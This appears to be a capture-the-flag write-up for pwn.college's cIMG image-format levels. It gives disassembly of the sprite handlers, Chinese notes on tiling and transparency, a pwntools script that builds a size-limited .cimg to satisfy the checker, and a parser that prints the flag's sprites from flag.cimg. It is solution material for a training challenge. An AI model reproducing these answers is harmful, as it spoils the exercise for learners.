│ ┌───────> 0x00401d8e 0fb6442416 movzx eax, byte [var_16h]
│ ╎│╎│╎│╎ 0x00401d93 48c1e004 shl rax, 4
│ ╎│╎│╎│╎ 0x00401d97 0fb6441819 movzx eax, byte [rax + rbx + 0x19]
│ ╎│╎│╎│╎ 0x00401d9c 4439e8 cmp eax, r13d
│ ────────< 0x00401d9f 0f8ea4000000 jle 0x401e49
│ ╎│╎│╎│╎ 0x00401da5 410fafc3 imul eax, r11d
│ ╎│╎│╎│╎ 0x00401da9 4401e8 add eax, r13d
│ ╎│╎│╎│╎ 0x00401dac 4898 cdqe
│ ╎│╎│╎│╎ 0x00401dae 0fb6548422 movzx edx, byte [rsp + rax*4 + 0x22]
│ ╎│╎│╎│╎ 0x00401db3 3a54241e cmp dl, byte [var_1eh]
│ ────────< 0x00401db7 0f8484000000 je 0x401e41
│ ╎│╎│╎│╎ 0x00401dbd 44895c240c mov dword [var_ch], r11d
│ ╎│╎│╎│╎ 0x00401dc2 be19000000 mov esi, 0x19 ; 25
│ ╎│╎│╎│╎ 0x00401dc7 440fb67306 movzx r14d, byte [rbx + 6]
│ ╎│╎│╎│╎ 0x00401dcc 4c8d058313.. lea r8, str.e_38_2__03d__03d__03dm_ce_0m ; 0x403156
│ ╎│╎│╎│╎ 0x00401dd3 4489542408 mov dword [var_8h], r10d
│ ╎│╎│╎│╎ 0x00401dd8 51 push rcx
│ ╎│╎│╎│╎ 0x00401dd9 b919000000 mov ecx, 0x19 ; 25
│ ╎│╎│╎│╎ 0x00401dde 52 push rdx
│ ╎│╎│╎│╎ 0x00401ddf 0fb6548431 movzx edx, byte [rsp + rax*4 + 0x31]
│ ╎│╎│╎│╎ 0x00401de4 52 push rdx
│ ╎│╎│╎│╎ 0x00401de5 0fb6548438 movzx edx, byte [rsp + rax*4 + 0x38]
│ ╎│╎│╎│╎ 0x00401dea 52 push rdx
│ ╎│╎│╎│╎ 0x00401deb 440fb64c843f movzx r9d, byte [rsp + rax*4 + 0x3f]
│ ╎│╎│╎│╎ 0x00401df1 ba01000000 mov edx, 1
│ ╎│╎│╎│╎ 0x00401df6 31c0 xor eax, eax
│ ╎│╎│╎│╎ 0x00401df8 48897c2420 mov qword [var_20h], rdi
│ ╎│╎│╎│╎ 0x00401dfd e86ef3ffff call sym.imp.__snprintf_chk
│ ╎│╎│╎│╎ 0x00401e02 438d442500 lea eax, [r13 + r12]
│ ╎│╎│╎│╎ 0x00401e07 488b7c2420 mov rdi, qword [var_20h]
│ ╎│╎│╎│╎ 0x00401e0c 448b5c242c mov r11d, dword [var_ch]
│ ╎│╎│╎│╎ 0x00401e11 99 cdq
│ ╎│╎│╎│╎ 0x00401e12 448b542428 mov r10d, dword [var_8h]
│ ╎│╎│╎│╎ 0x00401e17 4883c420 add rsp, 0x20
│ ╎│╎│╎│╎ 0x00401e1b 41f7fe idiv r14d
│ ╎│╎│╎│╎ 0x00401e1e 0f1007 movups xmm0, xmmword [rdi]
│ ╎│╎│╎│╎ 0x00401e21 440faff5 imul r14d, ebp
│ ╎│╎│╎│╎ 0x00401e25 428d0432 lea eax, [rdx + r14]
│ ╎│╎│╎│╎ 0x00401e29 31d2 xor edx, edx
│ ╎│╎│╎│╎ 0x00401e2b f7730c div dword [rbx + 0xc]
│ ╎│╎│╎│╎ 0x00401e2e 486bd218 imul rdx, rdx, 0x18
│ ╎│╎│╎│╎ 0x00401e32 48035310 add rdx, qword [rbx + 0x10]
│ ╎│╎│╎│╎ 0x00401e36 0f1102 movups xmmword [rdx], xmm0
│ ╎│╎│╎│╎ 0x00401e39 488b4710 mov rax, qword [rdi + 0x10]
│ ╎│╎│╎│╎ 0x00401e3d 48894210 mov qword [rdx + 0x10], rax
│ ╎│╎│╎│╎ ; CODE XREF from sym.handle_4 @ 0x401db7(x)
│ ────────> 0x00401e41 41ffc5 inc r13d
│ └───────< 0x00401e44 e945ffffff jmp 0x401d8e
│ │╎│╎│╎ ; CODE XREF from sym.handle_4 @ 0x401d9f(x)
│ ────────> 0x00401e49 41ffc3 inc r11d
│ │╎│╎│╎ 0x00401e4c ffc5 inc ebp
│ │└─────< 0x00401e4e e921ffffff jmp 0x401d74
│ │ │╎│╎ ; CODE XREF from sym.handle_4 @ 0x401d85(x)
│ └──────> 0x00401e53 41ffc2 inc r10d
│ │└───< 0x00401e56 e9dffeffff jmp 0x401d3a
│ │ │╎ ; CODE XREF from sym.handle_4 @ 0x401d42(x)
│ └────> 0x00401e5b 41ffc7 inc r15d
│ │└─< 0x00401e5e e9c6feffff jmp 0x401d29
│ │ ; CODE XREF from sym.handle_4 @ 0x401d31(x)
│ └──> 0x00401e63 488b842438.. mov rax, qword [rsp + 0x40038]
│ 0x00401e6b 6448330425.. xor rax, qword fs:[0x28]
│ ┌─< 0x00401e74 7405 je 0x401e7b
│ │ 0x00401e76 e845f3ffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ │ ; CODE XREF from sym.handle_4 @ 0x401e74(x)
│ └─> 0x00401e7b 4881c44800.. add rsp, 0x40048
│ 0x00401e82 5b pop rbx
│ 0x00401e83 5d pop rbp
│ 0x00401e84 415c pop r12
│ 0x00401e86 415d pop r13
│ 0x00401e88 415e pop r14
│ 0x00401e8a 415f pop r15
└ 0x00401e8c c3 ret

in handle_4

平铺 (Tiling/Repeat)色键透明 (Chroma Key / Transparency)

  1. 参数结构handle_4 现在会读取 9 个字节(0x401c63: mov edx, 9),加上 2 字节的 Opcode,单次渲染指令变成了 11 字节。 [Opcode (2)] [ID] [R] [G] [B] [Base_X] [Base_Y] [Repeat_X] [Repeat_Y] [Trans_Char]
  2. 平铺: 外层多了两个循环:r10d 遍历到 Repeat_X - 1r15d 遍历到 Repeat_Y - 1。只注册一个 1x1 的基础 Sprite(比如字符 -|),然后仅用一条指令,铺满屏幕边框。
  3. 透明通道 (Transparency)
1
2
3
0x00401dae  movzx edx, byte [rsp + rax*4 + 0x22]  ; 取出 Sprite 当前像素的字符
0x00401db3 cmp dl, byte [var_1eh] ; 和 Trans_Char 比较
0x00401db7 je 0x401e41 ; 如果相等,直接跳过渲染

这意味着我们可以把中间的 figlet 字符画整体打包成一个或几个大型的矩形 Sprite,并把透明字符设为空格 (32)。渲染时,它会自动忽略所有空格。

  • 对于纯色的填充色块/线条:直接提取为 1x1 的 Solid Sprite,利用 Repeat_XRepeat_Y 无限延伸。
  • 对于不规则的 ASCII Art:利用背景镂空特性,提取为 Transparent Sprite,空格直接当作透明度丢弃。
  • **关于换行符 :校验器不查颜色,我们让它们染成同一颜色被识别为一个的纯色垂直边框。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
import struct
from pwn import *

def extract_pixels_from_elf(binary_path, num_pixels):
elf = ELF(binary_path, checksec=False)
try:
addr = elf.symbols["desired_output"]
except KeyError:
addr = 0x404020

raw = elf.read(addr, num_pixels * 24)
pixels = []
for i in range(num_pixels):
chunk = raw[i * 24 : (i + 1) * 24]
try:
r = int(chunk[7:10])
g = int(chunk[11:14])
b = int(chunk[15:18])
c = chunk[19]
pixels.append((r, g, b, c))
except ValueError:
pixels.append((0, 0, 0, 32))
return pixels

def build_payload():
binary_path = "/challenge/cimg"
width = 76
height = 24
num_pixels = width * height

log.info("Fetching raw pixel data from upstream...")
pixels = extract_pixels_from_elf(binary_path, num_pixels)

fg_pixels = []
for y in range(height):
for x in range(width):
p = pixels[y * width + x]
if p[3] not in (32, 10):
fg_pixels.append({
'x': x, 'y': y,
'r': p[0], 'g': p[1], 'b': p[2], 'c': p[3]
})
elif p[3] == 10: # 换行符
fg_pixels.append({
'x': x, 'y': y,
'r': 255, 'g': 255, 'b': 255, 'c': 10
})

memo = {}
def solve(min_x, max_x, min_y, max_y):
state = (min_x, max_x, min_y, max_y)
if state in memo: return memo[state]

subset = [p for p in fg_pixels if min_x <= p['x'] <= max_x and min_y <= p['y'] <= max_y]
if not subset: return 0, []

bx = min(p['x'] for p in subset)
by = min(p['y'] for p in subset)
b_w = max(p['x'] for p in subset) - bx + 1
b_h = max(p['y'] for p in subset) - by + 1

colors = set((p['r'], p['g'], p['b']) for p in subset)

best_cost = float('inf')
best_blocks = []

# 只要区域内颜色单一,就可以作为一个 Render Directive
if len(colors) == 1:
chars = set(p['c'] for p in subset)
# 检查是否是完美的“纯色单一字符”矩阵(例如连串的 '-' 或 '|' 或 '\n')
is_solid = len(subset) == b_w * b_h and len(chars) == 1
if is_solid:
best_cost = 17 # 5(注册1x1) + 1(数据) + 11(渲染并Tiling)
best_blocks = [{
'type': 'solid',
'x': bx, 'y': by, 'w': b_w, 'h': b_h,
'r': subset[0]['r'], 'g': subset[0]['g'], 'b': subset[0]['b'],
'c': subset[0]['c'],
'subset': subset
}]
else:
best_cost = 16 + b_w * b_h # 5(注册) + w*h(数据) + 11(镂空渲染)
best_blocks = [{
'type': 'transparent',
'x': bx, 'y': by, 'w': b_w, 'h': b_h,
'r': subset[0]['r'], 'g': subset[0]['g'], 'b': subset[0]['b'],
'subset': subset
}]

# 递归寻找最优切割
xs = sorted(list(set(p['x'] for p in subset)))
for split_x in xs[1:]:
c1, blks1 = solve(bx, split_x - 1, by, by + b_h - 1)
c2, blks2 = solve(split_x, bx + b_w - 1, by, by + b_h - 1)
if c1 + c2 < best_cost:
best_cost = c1 + c2
best_blocks = blks1 + blks2

ys = sorted(list(set(p['y'] for p in subset)))
for split_y in ys[1:]:
c1, blks1 = solve(bx, bx + b_w - 1, by, split_y - 1)
c2, blks2 = solve(bx, bx + b_w - 1, split_y, by + b_h - 1)
if c1 + c2 < best_cost:
best_cost = c1 + c2
best_blocks = blks1 + blks2

memo[state] = (best_cost, best_blocks)
return best_cost, best_blocks

log.info("Optimizing via 2D BSP with hardware Tiling and Chroma Key...")
_, blocks = solve(0, width - 1, 0, height - 1)

sprites = {}
renders = []

for blk in blocks:
if blk['type'] == 'solid':
text = bytes([blk['c']])
bw, bh = 1, 1
rx, ry = blk['w'], blk['h'] # 启用 Tiling
trans = 0
else:
text_arr = bytearray()
for y in range(blk['h']):
for x in range(blk['w']):
found = False
for p in blk['subset']:
if p['x'] == blk['x'] + x and p['y'] == blk['y'] + y:
text_arr.append(p['c'])
found = True
break
if not found:
text_arr.append(32) # 空格占位
text = bytes(text_arr)
bw, bh = blk['w'], blk['h']
rx, ry = 1, 1
trans = 32 # 启用 Chroma Key 透明度

sp_key = (text, bw, bh)
if sp_key not in sprites:
sprites[sp_key] = len(sprites)

renders.append({
'id': sprites[sp_key],
'x': blk['x'], 'y': blk['y'],
'r': blk['r'], 'g': blk['g'], 'b': blk['b'],
'rx': rx, 'ry': ry, 'trans': trans
})

payload = bytearray()
num_directives = len(sprites) + len(renders)

# 写入 Version 4 的 Header
payload += struct.pack("<4sHBBI", b"cIMG", 4, width, height, num_directives)

# 指令 3
for (text, bw, bh), sp_id in sprites.items():
payload += struct.pack("<HBBB", 3, sp_id, bw, bh)
payload += text

# 指令 4
for r in renders:
payload += struct.pack("<HBBBBBBBBB", 4, r['id'], r['r'], r['g'], r['b'], r['x'], r['y'], r['rx'], r['ry'], r['trans'])

total_size = len(payload)
if total_size > 285:
log.error(f"Still bloated... ({total_size} bytes)")
return

log.success(f"Final Size: {total_size} bytes.")

file_name = "payload.cimg"
with open(file_name, "wb") as f:
f.write(payload)

try:
p = process([binary_path, file_name])
print(p.recvall(timeout=2).decode(errors="ignore"))
except Exception:
log.warning("Error")

if __name__ == "__main__":
build_payload()

Extracting Knowledge

How well do you grasp the cIMG format? This is a chance to show yourself just how much you’ve learned!

This level’s /challenge/cimg has no way to give you the flag, but we’ll give you a cimg file containing it!

generate the flag.cimg

1
2
3
4
5
6
7
8
9
10
11
12
sprites = { }
directives = [ ]
for c in open("/flag", "rb").read().strip():
if c not in sprites:
sprites[c] = len(directives)
sprite = subprocess.check_output(["/usr/bin/figlet", "-fascii9"], input=bytes([c])).split(b"\n")[:-1]
directives += [ struct.pack("<HBBB", 3, sprites[c], len(sprite[0]), len(sprite)) + b"".join(sprite) ]
directives += [ struct.pack("<HBBBBBB", 4, sprites[c], 0xff, 0xff, 0xff, 0, 0) ]

img = b"cIMG" + struct.pack("<HBBI", 3, 16, 16, len(directives)) + b"".join(directives)
with open("/challenge/flag.cimg", "wb") as o:
o.write(img)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import struct
import sys

def parse_and_dump_flag():
img_path = "/challenge/flag.cimg"
try:
with open(img_path, "rb") as f:
data = f.read()
except FileNotFoundError:
print(f"[!] Cannot find {img_path}.")
return

# 1. 解析 Header
header_format = "<4sHBBI"
header_size = struct.calcsize(header_format)
magic, version, width, height, num_directives = struct.unpack(
header_format, data[:header_size]
)

if magic != b"cIMG":
print("[!] Invalid magic number.")
return

print(f"[*] Parsed Header: {num_directives} directives found.")

offset = header_size
sprites = {}
flag_sequence = []

# 2. 遍历所有的 Directives
for _ in range(num_directives):
opcode = struct.unpack("<H", data[offset : offset + 2])[0]
offset += 2

if opcode == 3:
# Handle 3: 注册 Sprite
sp_id, sp_w, sp_h = struct.unpack("<BBB", data[offset : offset + 3])
offset += 3

# 读取 Figlet 原始字符数据
raw_sprite = data[offset : offset + sp_w * sp_h]
offset += sp_w * sp_h

# 还原 2D 文本结构
art = ""
for i in range(sp_h):
line = raw_sprite[i * sp_w : (i + 1) * sp_w]
art += line.decode(errors="ignore") + "\n"
sprites[sp_id] = art

elif opcode == 4:
# Handle 4: 渲染 Sprite
# 只需要记录它渲染了哪个 ID
sp_id, r, g, b, x, y = struct.unpack("<BBBBBB", data[offset : offset + 6])
offset += 6
flag_sequence.append(sp_id)

print("[*] Data extraction complete.\n")
print("=" * 60)

# 3. 按调用顺序打印出 Flag 对应的 Figlet 字符
for sp_id in flag_sequence:
if sp_id in sprites:
print(sprites[sp_id])
print("-" * 60)
else:
print(f"[!] Warning: Missing dependency for sprite ID {sp_id}")


if __name__ == "__main__":
parse_and_dump_flag()

pwn.college{**********************************************}

Storage and Retrieval

Patches were cool, but sprites are better. Can you optimize the image size even more?

Wikipedia

In computer graphics, a sprite is a two-dimensional bitmap that is integrated into a larger scene, most often in a 2D video game. Originally, the term sprite referred to fixed-sized objects composited together, by hardware, with a background. Use of the term has since become more general.

According to Karl Guttag, one of two engineers for the 1979 Texas Instruments TMS9918 video display processor, this use of the word sprite came from David Ackley, a manager at TI. It was also used by Danny Hillis at Texas Instruments in the late 1970s. The term was derived from the fact that sprites “float” on top of the background image without overwriting it, much like a ghost or mythological sprite.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
// ...
struct cimg_sprite
{
uint8_t height;
uint8_t width;
pixel_bw_t *data;
};

struct cimg
{
struct cimg_header header;
unsigned num_pixels;
term_pixel_t *framebuffer;
struct cimg_sprite sprites[256];
};

#define CIMG_NUM_PIXELS(cimg) ((cimg)->header.width * (cimg)->header.height)
#define CIMG_DATA_SIZE(cimg) (CIMG_NUM_PIXELS(cimg) * sizeof(pixel_t))
#define CIMG_FRAMEBUFFER_PIXELS(cimg) ((cimg)->header.width * (cimg)->header.height)
#define CIMG_FRAMEBUFFER_SIZE(cimg) (CIMG_FRAMEBUFFER_PIXELS(cimg) * sizeof(term_pixel_t))

#include "cimg-handlers.c" // YOU DON'T GET THIS FILE!
// ...
int main(int argc, char **argv, char **envp)
{

struct cimg cimg = { 0 };
cimg.framebuffer = NULL;
int won = 1;

if (argc > 1)
{
if (strcmp(argv[1]+strlen(argv[1])-5, ".cimg"))
{
printf("ERROR: Invalid file extension!");
exit(-1);
}
dup2(open(argv[1], O_RDONLY), 0);
}

read_exact(0, &cimg.header, sizeof(cimg.header), "ERROR: Failed to read header!", -1);

if (cimg.header.magic_number[0] != 'c' || cimg.header.magic_number[1] != 'I' || cimg.header.magic_number[2] != 'M' || cimg.header.magic_number[3] != 'G')
{
puts("ERROR: Invalid magic number!");
exit(-1);
}

if (cimg.header.version != 3)
{
puts("ERROR: Unsupported version!");
exit(-1);
}

initialize_framebuffer(&cimg);

while (cimg.header.remaining_directives--)
{
uint16_t directive_code;
read_exact(0, &directive_code, sizeof(directive_code), "ERROR: Failed to read &directive_code!", -1);

switch (directive_code)
{
case 1:
handle_1(&cimg);
break;
case 2:
handle_2(&cimg);
break;
case 3:
handle_3(&cimg);
break;
case 4:
handle_4(&cimg);
break;
default:
fprintf(stderr, "ERROR: invalid directive_code %ux\n", directive_code);
exit(-1);
}
}
display(&cimg, NULL);

if (cimg.num_pixels != sizeof(desired_output)/sizeof(term_pixel_t))
{
won = 0;
}
for (int i = 0; i < cimg.num_pixels && i < sizeof(desired_output)/sizeof(term_pixel_t); i++)
{
if (cimg.framebuffer[i].str.c != ((term_pixel_t*)&desired_output)[i].str.c)
{
won = 0;
}
if (
cimg.framebuffer[i].str.c != ' ' &&
cimg.framebuffer[i].str.c != '\n' &&
memcmp(cimg.framebuffer[i].data, ((term_pixel_t*)&desired_output)[i].data, sizeof(term_pixel_t))
)
{
won = 0;
}
}

if (total_data > 400) won = 0;

if (won) win();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
handle_1 (0x0001): Basic 直接按全局宽高的 pixel_t(每个 4 bytes: R, G, B, ASCII)读取全图数据。
# ...
handle_2 (0x0002): Patch 读取 base_x, base_y, width, height (共 4 bytes),然后再读取对应区域的完整 pixel_t 数组。
# ...
handle_3 (0x0003): 定义 Sprite。
参数: sprite_id (1 byte), width (1 byte), height (1 byte)。
数据流: malloc 并读取 width * height bytes 的单字节 ASCII 数据(在 asm 的 0x401bde 处有校验,只允许 printable chars 0x20 到 0x5e。
不带任何颜色信息 一个 10x10 的纯字符图案只需要 2 (code) + 3 (args) + 100 (data) = 105 bytes。
;-- handle_3:
0x00401ae1 f30f1efa endbr64
0x00401ae5 4154 push r12
0x00401ae7 4183c8ff or r8d, 0xffffffff ; -1
0x00401aeb ba01000000 mov edx, 1
0x00401af0 488d0df706.. lea rcx, str.ERROR:_Failed_to_read_sprite_id_ ; 0x4021ee ; "ERROR: Failed to read &sprite_id!"
0x00401af7 55 push rbp
0x00401af8 4889fd mov rbp, rdi
0x00401afb 31ff xor edi, edi
0x00401afd 53 push rbx
0x00401afe 4883ec10 sub rsp, 0x10
0x00401b02 64488b0425.. mov rax, qword fs:[0x28]
0x00401b0b 4889442408 mov qword [rsp + 8], rax
0x00401b10 31c0 xor eax, eax
0x00401b12 488d742405 lea rsi, [rsp + 5]
0x00401b17 e8dffbffff call sym.read_exact ;[1]
0x00401b1c 488d742406 lea rsi, [rsp + 6]
0x00401b21 4183c8ff or r8d, 0xffffffff ; -1
0x00401b25 31ff xor edi, edi
0x00401b27 488d0d8306.. lea rcx, str.ERROR:_Failed_to_read_width_ ; 0x4021b1 ; "ERROR: Failed to read &width!"
0x00401b2e ba01000000 mov edx, 1
0x00401b33 e8c3fbffff call sym.read_exact ;[1]
0x00401b38 ba01000000 mov edx, 1
0x00401b3d 31ff xor edi, edi
0x00401b3f 4183c8ff or r8d, 0xffffffff ; -1
0x00401b43 488d742407 lea rsi, [rsp + 7]
0x00401b48 488d0d8006.. lea rcx, str.ERROR:_Failed_to_read_height_ ; 0x4021cf ; "ERROR: Failed to read &height!"
0x00401b4f e8a7fbffff call sym.read_exact ;[1]
0x00401b54 0fb6442405 movzx eax, byte [rsp + 5]
0x00401b59 8a542406 mov dl, byte [rsp + 6]
0x00401b5d 48c1e004 shl rax, 4
0x00401b61 4801e8 add rax, rbp
0x00401b64 885019 mov byte [rax + 0x19], dl
0x00401b67 488b7820 mov rdi, qword [rax + 0x20]
0x00401b6b 8a542407 mov dl, byte [rsp + 7]
0x00401b6f 885018 mov byte [rax + 0x18], dl
0x00401b72 4885ff test rdi, rdi
┌─< 0x00401b75 7405 je 0x401b7c
│ 0x00401b77 e804f6ffff call sym.imp.free ;[2]
└─> 0x00401b7c 440fb6642406 movzx r12d, byte [rsp + 6]
0x00401b82 0fb6542407 movzx edx, byte [rsp + 7]
0x00401b87 440fafe2 imul r12d, edx
0x00401b8b 4963fc movsxd rdi, r12d
0x00401b8e e8adf6ffff call sym.imp.malloc ;[3]
0x00401b93 4889c3 mov rbx, rax
0x00401b96 4885c0 test rax, rax
┌─< 0x00401b99 750e jne 0x401ba9
│ 0x00401b9b 488d3d3105.. lea rdi, str.ERROR:_Failed_to_allocate_memory_for_the_image_data_ ; 0x4020d3 ; "ERROR: Failed to allocate memory for the image data!"
│ 0x00401ba2 e8f9f5ffff call sym.imp.puts ;[4]
┌──< 0x00401ba7 eb55 jmp 0x401bfe
│└─> 0x00401ba9 4489e2 mov edx, r12d
│ 0x00401bac 4889c6 mov rsi, rax
│ 0x00401baf 4183c8ff or r8d, 0xffffffff ; -1
│ 0x00401bb3 31ff xor edi, edi
│ 0x00401bb5 488d0d4c05.. lea rcx, str.ERROR:_Failed_to_read_data_ ; 0x402108 ; "ERROR: Failed to read data!"
│ 0x00401bbc e83afbffff call sym.read_exact ;[1]
│ 0x00401bc1 0fb6442407 movzx eax, byte [rsp + 7]
│ 0x00401bc6 0fb6542406 movzx edx, byte [rsp + 6]
│ 0x00401bcb 0fafd0 imul edx, eax
│ 0x00401bce 31c0 xor eax, eax
│┌─> 0x00401bd0 39c2 cmp edx, eax
┌───< 0x00401bd2 7e32 jle 0x401c06
││╎ 0x00401bd4 0fb60c03 movzx ecx, byte [rbx + rax]
││╎ 0x00401bd8 48ffc0 inc rax
││╎ 0x00401bdb 8d71e0 lea esi, [rcx - 0x20]
││╎ 0x00401bde 4080fe5e cmp sil, 0x5e ; '^' ; 94
││└─< 0x00401be2 76ec jbe 0x401bd0
││ 0x00401be4 488b3d75cf.. mov rdi, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
││ ; [0x40eb60:8]=0
││ 0x00401beb 488d153205.. lea rdx, str.ERROR:_Invalid_character_0x_x_in_the_image_data__n ; str.ERROR:_Invalid_character_0x_x_in_the_image_data__n
││ ; 0x402124 ; "ERROR: Invalid character 0x%x in the image data!\n"
││ 0x00401bf2 be01000000 mov esi, 1
││ 0x00401bf7 31c0 xor eax, eax
││ 0x00401bf9 e892f6ffff call sym.imp.__fprintf_chk ;[5]
│└──> 0x00401bfe 83cfff or edi, 0xffffffff ; -1
│ 0x00401c01 e87af6ffff call sym.imp.exit ;[6]
└───> 0x00401c06 0fb6442405 movzx eax, byte [rsp + 5]
0x00401c0b 48c1e004 shl rax, 4
0x00401c0f 48895c2820 mov qword [rax + rbp + 0x20], rbx
0x00401c14 488b442408 mov rax, qword [rsp + 8]
0x00401c19 6448330425.. xor rax, qword fs:[0x28]
┌─< 0x00401c22 7405 je 0x401c29
│ 0x00401c24 e897f5ffff call sym.imp.__stack_chk_fail ;[7]
└─> 0x00401c29 4883c410 add rsp, 0x10
0x00401c2d 5b pop rbx
0x00401c2e 5d pop rbp
0x00401c2f 415c pop r12
0x00401c31 c3 ret

handle_4 (0x0004): 渲染 Sprite。
参数: 读取 6 bytes: sprite_id (1 byte), R (1 byte), G (1 byte), B (1 byte), base_x (1 byte), base_y (1 byte)。
逻辑: 将你在 handle_3 中注册的裸字符 sprite,刷上统一的 RGB 颜色,并按指定的坐标渲染到 framebuffer 上。
整个指令只需要 2 (code) + 6 (args) = 8 bytes。
;-- handle_4:
0x00401c32 f30f1efa endbr64
0x00401c36 4157 push r15
0x00401c38 4156 push r14
0x00401c3a 4155 push r13
0x00401c3c 4154 push r12
0x00401c3e 55 push rbp
0x00401c3f 53 push rbx
0x00401c40 4c8d9c2400.. lea r11, [rsp - 0x40000]
┌─> 0x00401c48 4881ec0010.. sub rsp, 0x1000
╎ 0x00401c4f 830c2400 or dword [rsp], 0
╎ 0x00401c53 4c39dc cmp rsp, r11
└─< 0x00401c56 75f0 jne 0x401c48
0x00401c58 4883ec38 sub rsp, 0x38
0x00401c5c 488d0dad05.. lea rcx, str.ERROR:_Failed_to_read_sprite_render_record_ ; 0x402210 ; "ERROR: Failed to read &sprite_render_record!"
0x00401c63 ba06000000 mov edx, 6
0x00401c68 4183c8ff or r8d, 0xffffffff ; -1
0x00401c6c 64488b0425.. mov rax, qword fs:[0x28]
0x00401c75 4889842428.. mov qword [rsp + 0x40028], rax ; [0x40028:8]=-1
0x00401c7d 31c0 xor eax, eax
0x00401c7f 4889fb mov rbx, rdi
0x00401c82 488d742409 lea rsi, [rsp + 9]
0x00401c87 31ff xor edi, edi
0x00401c89 e86dfaffff call sym.read_exact ;[2]
0x00401c8e 488d7c240f lea rdi, [rsp + 0xf]
0x00401c93 b900000100 mov ecx, 0x10000
0x00401c98 31c0 xor eax, eax
0x00401c9a 0fb6542409 movzx edx, byte [rsp + 9]
0x00401c9f 448a54240a mov r10b, byte [rsp + 0xa]
0x00401ca4 488d74240f lea rsi, [rsp + 0xf]
0x00401ca9 f3ab rep stosd dword [rdi], eax
0x00401cab 448a5c240b mov r11b, byte [rsp + 0xb]
0x00401cb0 408a6c240c mov bpl, byte [rsp + 0xc]
0x00401cb5 48c1e204 shl rdx, 4
0x00401cb9 4801da add rdx, rbx
0x00401cbc 440fb66218 movzx r12d, byte [rdx + 0x18]
┌─> 0x00401cc1 4139cc cmp r12d, ecx
┌──< 0x00401cc4 7e58 jle 0x401d1e
│╎ 0x00401cc6 440fb64219 movzx r8d, byte [rdx + 0x19]
│╎ 0x00401ccb 31ff xor edi, edi
│╎ 0x00401ccd 4489c0 mov eax, r8d
│╎ 0x00401cd0 0fafc1 imul eax, ecx
┌───> 0x00401cd3 4139f8 cmp r8d, edi
┌────< 0x00401cd6 7e42 jle 0x401d1a
│╎│╎ 0x00401cd8 4c8b4a20 mov r9, qword [rdx + 0x20]
│╎│╎ 0x00401cdc 44881486 mov byte [rsi + rax*4], r10b
│╎│╎ 0x00401ce0 44885c8601 mov byte [rsi + rax*4 + 1], r11b
│╎│╎ 0x00401ce5 40886c8602 mov byte [rsi + rax*4 + 2], bpl
│╎│╎ 0x00401cea 4d85c9 test r9, r9
┌─────< 0x00401ced 751b jne 0x401d0a
││╎│╎ 0x00401cef 488b356ace.. mov rsi, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
││╎│╎ ; [0x40eb60:8]=0
││╎│╎ 0x00401cf6 488d3d4005.. lea rdi, str.ERROR:_attempted_to_render_uninitialized_sprite__n ; 0x40223d ; "ERROR: attempted to render uninitialized sprite!\n"
││╎│╎ 0x00401cfd e8def4ffff call sym.imp.fputs ;[3]
││╎│╎ 0x00401d02 83cfff or edi, 0xffffffff ; -1
││╎│╎ 0x00401d05 e876f5ffff call sym.imp.exit ;[4]
└─────> 0x00401d0a 458a0c01 mov r9b, byte [r9 + rax]
│╎│╎ 0x00401d0e ffc7 inc edi
│╎│╎ 0x00401d10 44884c8603 mov byte [rsi + rax*4 + 3], r9b
│╎│╎ 0x00401d15 48ffc0 inc rax
│└───< 0x00401d18 ebb9 jmp 0x401cd3
└────> 0x00401d1a ffc1 inc ecx
│└─< 0x00401d1c eba3 jmp 0x401cc1
└──> 0x00401d1e 440fb674240e movzx r14d, byte [rsp + 0xe]
0x00401d24 440fb67c240d movzx r15d, byte [rsp + 0xd]
0x00401d2a 4531ed xor r13d, r13d
┌─> 0x00401d2d 0fb6442409 movzx eax, byte [rsp + 9]
╎ 0x00401d32 48c1e004 shl rax, 4
╎ 0x00401d36 0fb6441818 movzx eax, byte [rax + rbx + 0x18]
╎ 0x00401d3b 4439e8 cmp eax, r13d
┌──< 0x00401d3e 0f8eaf000000 jle 0x401df3
│╎ 0x00401d44 31ed xor ebp, ebp
┌───> 0x00401d46 0fb6442409 movzx eax, byte [rsp + 9]
╎│╎ 0x00401d4b 48c1e004 shl rax, 4
